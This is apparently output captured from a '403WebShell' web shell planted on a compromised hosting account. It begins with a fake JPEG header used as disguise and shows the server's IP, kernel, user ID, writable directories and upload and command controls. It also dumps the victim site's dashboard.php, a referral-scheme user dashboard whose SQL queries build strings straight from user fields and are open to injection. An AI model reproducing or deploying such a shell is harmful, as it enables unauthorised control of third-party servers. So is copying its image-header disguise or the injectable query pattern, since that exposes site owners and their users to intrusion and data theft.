���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u939086737/domains/chocolate-mouse-719686.hostingersite.com/public_html/user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u939086737/domains/chocolate-mouse-719686.hostingersite.com/public_html/user/dashboard.php
<?php require_once 'header.php';

$qu1 = mysqli_num_rows(mysqli_query($conn, "SELECT id FROM users WHERE ref_id = '$user[username]' "));
// $qu2 = mysqli_num_rows(mysqli_query($conn, "SELECT id FROM users WHERE id > '$user[id]' "));

?>


<div class="page-wrapper">
    <div class="page-content">

        <div class="row row-cols-1 row-cols-md-2 row-cols-xl-4">
            <div class="col">
                <div class="card radius-10 border-start border-0 border-4 border-info">
                    <div class="card-body">
                        <div class="d-flex align-items-center">
                            <div>
                                <p class="mb-0 text-secondary">Total Income</p>
                                <h4 class="my-1 text-info">0</h4>
                                <!-- <p class="mb-0 font-13">+2.5% from last week</p> -->
                            </div>
                            <div class="widgets-icons-2 rounded-circle bg-gradient-blues text-white ms-auto"><i class='fadeIn animated bx bx-rupee'></i>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="col">
                <div class="card radius-10 border-start border-0 border-4 border-danger">
                    <div class="card-body">
                        <div class="d-flex align-items-center">
                            <div>
                                <p class="mb-0 text-secondary">Total Withdrawal</p>
                                <h4 class="my-1 text-danger">0</h4>
                                <!-- <p class="mb-0 font-13">+5.4% from last week</p> -->
                            </div>
                            <div class="widgets-icons-2 rounded-circle bg-gradient-burning text-white ms-auto"><i class='fadeIn animated bx bx-rupee'></i>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="col">
                <div class="card radius-10 border-start border-0 border-4 border-success">
                    <div class="card-body">
                        <div class="d-flex align-items-center">
                            <div>
                                <p class="mb-0 text-secondary">Success Withdrawal</p>
                                <h4 class="my-1 text-success">0</h4>
                                <!-- <p class="mb-0 font-13">-4.5% from last week</p> -->
                            </div>
                            <div class="widgets-icons-2 rounded-circle bg-gradient-ohhappiness text-white ms-auto"><i class='fadeIn animated bx bx-rupee'></i>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="col">
                <div class="card radius-10 border-start border-0 border-4 border-warning">
                    <div class="card-body">
                        <div class="d-flex align-items-center">
                            <div>
                                <p class="mb-0 text-secondary">Pending</p>
                                <h4 class="my-1 text-warning">0</h4>
                                <!-- <p class="mb-0 font-13">+8.4% from last week</p> -->
                            </div>
                            <div class="widgets-icons-2 rounded-circle bg-gradient-orange text-white ms-auto"><i class='fadeIn animated bx bx-rupee'></i>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>


        <div class="row row-cols-1 row-cols-lg-2 ">

            <div class="col d-flex">
                <div class="card radius-10 w-100 p-2 p-md-5 ">
                    <div class="card-header bg-transparent">
                        <div class="d-flex align-items-center">
                            <div class="row align-items-center w-100">
                                <h5 class="col-auto mb-0">About Me</h5>

                                <?php if ($user['active_plan_status'] == 1): ?>
                                    <div class="col input-group">
                                        <input type="text" class="form-control" id="referralLink" value="<?= $domain.'/user/register?sponsor_id=' . $user['username'] ?>" readonly>
                                        <button class="btn btn-primary" type="button" onclick="copyReferralLink()">Copy</button>
                                    </div>
                                <?php else: ?>
                                    <p class="text-danger">Please activate your account to see your referral link.</p>
                                <?php endif; ?>

                            </div>
                        </div>
                    </div>

                    <ul class="list-group list-group-flush">
                        <li class="list-group-item d-flex bg-transparent justify-content-between align-items-center border-top">
                            Username <span class="badge bg-gradient-quepal rounded-pill"><?= $user['username'] ?></span>
                        </li>
                        <li class="list-group-item d-flex bg-transparent justify-content-between align-items-center">
                            Subscription <span class="badge bg-gradient-ibiza rounded-pill">
                                <?= $user['active_plan_status'] == 1 ? 'Active' : 'In-Active' ?>
                            </span>
                        </li>
                        <li class="list-group-item d-flex bg-transparent justify-content-between align-items-center">
                            Subscription Package <span class="badge bg-gradient-deepblue rounded-pill">
                                <?= $user['active_plan_id'] == 0 ? 'NA' : mysqli_fetch_assoc(mysqli_query($conn, "SELECT name FROM plans WHERE id = '$user[active_plan_id]' "))['name'] ?>
                            </span>
                        </li>
                        <li class="list-group-item d-flex bg-transparent justify-content-between align-items-center">
                            Date of Joining <span class="badge bg-gradient-orange rounded-pill"><?= date('d/M/Y g:i A', strtotime($user['created_at'])) ?></span>
                        </li>
                        <li class="list-group-item d-flex bg-transparent justify-content-between align-items-center">
                            Date of Subscription <span class="badge bg-gradient-ohhappiness rounded-pill">
                                <?= $user['active_plan_status'] == 1 ? date('d/M/Y g:i A', strtotime(mysqli_fetch_assoc(mysqli_query($conn, "SELECT accept_at FROM payment_requests WHERE userid = '$user[username]'"))['accept_at'])) : 'NA' ?>
                            </span>
                        </li>



                        <li class="list-group-item d-flex bg-transparent justify-content-between align-items-center">
                            Sponsor Name <span class="badge bg-gradient-burning rounded-pill"><?= mysqli_fetch_assoc(mysqli_query($conn, "SELECT name FROM users WHERE username = '$user[ref_id]' "))['name'] ?></span>
                        </li>

                        <li class="list-group-item d-flex bg-transparent justify-content-between align-items-center">
                            Sponsor ID <span class="badge bg-gradient-scooter rounded-pill"><?= $user['ref_id'] ?></span>
                        </li>



                    </ul>

                </div>
            </div>

            <div class="col d-flex">
                <div class="card radius-10 w-100 p-2 p-md-5">
                    <div class="card-header bg-transparent">
                        <div class="d-flex align-items-center">
                            <div>
                                <h5 class="mb-0">Business History</h5>
                            </div>
                        </div>
                    </div>

                    <ul class="list-group list-group-flush">
                        <li class="list-group-item d-flex bg-transparent justify-content-between align-items-center border-top">
                            Direct Teams <span class="badge bg-gradient-quepal rounded-pill"><?= $qu1 ?></span>
                        </li>
                        <li class="list-group-item d-flex bg-transparent justify-content-between align-items-center">
                            Level Teams <span class="badge bg-gradient-ibiza rounded-pill">
                                <?php

                                function userLevel($user_id, $con)
                                {
                                    $arr = [$user_id];
                                    $sponsor_id_arr = [];
                                    $i = 1;
                                    $n = 0;
                                    $j = 0;
                                    while ($i < 40) {
                                        foreach ($arr as $sponsor_id) {
                                            $sql = "SELECT username FROM users WHERE ref_id = '$sponsor_id' ";
                                            $result = mysqli_query($con, $sql);
                                            $n += mysqli_num_rows($result);
                                            if (mysqli_num_rows($result) > 0) {
                                                while ($row = mysqli_fetch_assoc($result)) {
                                                    array_push($sponsor_id_arr, $row['username']);
                                                }
                                            }
                                        }
                                        $arr = $sponsor_id_arr;
                                        $sponsor_id_arr = [];

                                        //echo '<br>----------Level '.$i.'------ Total --> '.$n.' -------';
                                        $j += $n;

                                        $n = 0;
                                        $i += 1;
                                    }
                                    echo $j;
                                }
                                userLevel($user['username'], $conn);

                                ?>
                            </span>
                        </li>
                        <!-- <li class="list-group-item d-flex bg-transparent justify-content-between align-items-center">
                            Team Trading Business <span class="badge bg-gradient-deepblue rounded-pill">$0.0000</span>
                        </li>
                        <li class="list-group-item d-flex bg-transparent justify-content-between align-items-center">
                            Team Compounding Business <span class="badge bg-gradient-scooter rounded-pill">$0.0000</span>
                        </li>
                        <li class="list-group-item d-flex bg-transparent justify-content-between align-items-center">
                            Strong/Weaker Leg Teams <span class="badge bg-gradient-bloody rounded-pill">0/0</span>
                        </li>
                        <li class="list-group-item d-flex bg-transparent justify-content-between align-items-center">
                            Total Teams (Left/Right) <span class="badge bg-gradient-orange rounded-pill">0/0</span>
                        </li> -->

                    </ul>

                </div>
            </div>

        </div>


        <div class="card radius-10">

            <div class="card-header">
                <div class="d-flex align-items-center">
                    <div>
                        <h5 class="mb-0 p-3">Recent Teams</h5>
                    </div>
                </div>
            </div>

            <div class="card-body">
                <div class="table-responsive">
                    <table class="table align-middle mb-0">
                        <thead class="table-light">
                            <tr>
                                <th>#</th>
                                <th>User ID</th>
                                <th>Name</th>
                                <th>Email</th>
                                <th>Mobile</th>
                                <th>Joined</th>
                                <th>Status</th>
                            </tr>
                        </thead>
                        <tbody>

                            <?php
                            function mask_email($email)
                            {
                                $parts = explode("@", $email);
                                $name = substr($parts[0], 0, 2) . str_repeat("*", strlen($parts[0]) - 2);
                                return $name . "@" . $parts[1];
                            }
                            function mask_mobile($mobile)
                            {
                                return substr($mobile, 0, 2) . str_repeat("*", strlen($mobile) - 4) . substr($mobile, -2);
                            }

                            $i = 1;
                            $q = mysqli_query($conn, "SELECT id, username, name, email, mobile_number, created_at, active_status FROM users WHERE ref_id = '$user[username]' ORDER BY id DESC LIMIT 7");
                            while ($user = mysqli_fetch_assoc($q)) :
                            ?>

                                <tr>
                                    <td><?= $i++; ?></td>
                                    <td><?= $user['username']; ?></td>
                                    <td><?= $user['name']; ?></td>
                                    <td><?= mask_email($user['email']); ?></td>
                                    <td><?= mask_mobile($user['mobile_number']); ?></td>
                                    <td><?= date('d M Y', strtotime($user['created_at'])); ?></td>
                                    <td>
                                        <button type="button" disabled
                                            class="btn btn-sm block-button <?= $user['active_status'] == 1 ? 'btn-success' : 'btn-danger' ?>"
                                            data-username="<?= $user['username'] ?>"
                                            data-active_status="<?= $user['active_status'] ?>">
                                            <?= $user['active_status'] == 1 ? 'Active' : 'In-Active' ?>
                                        </button>
                                    </td>
                                </tr>

                            <?php endwhile; ?>

                        </tbody>
                    </table>
                </div>
            </div>
        </div>

    </div>
</div>
<!--end page wrapper -->

<?php require_once 'footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit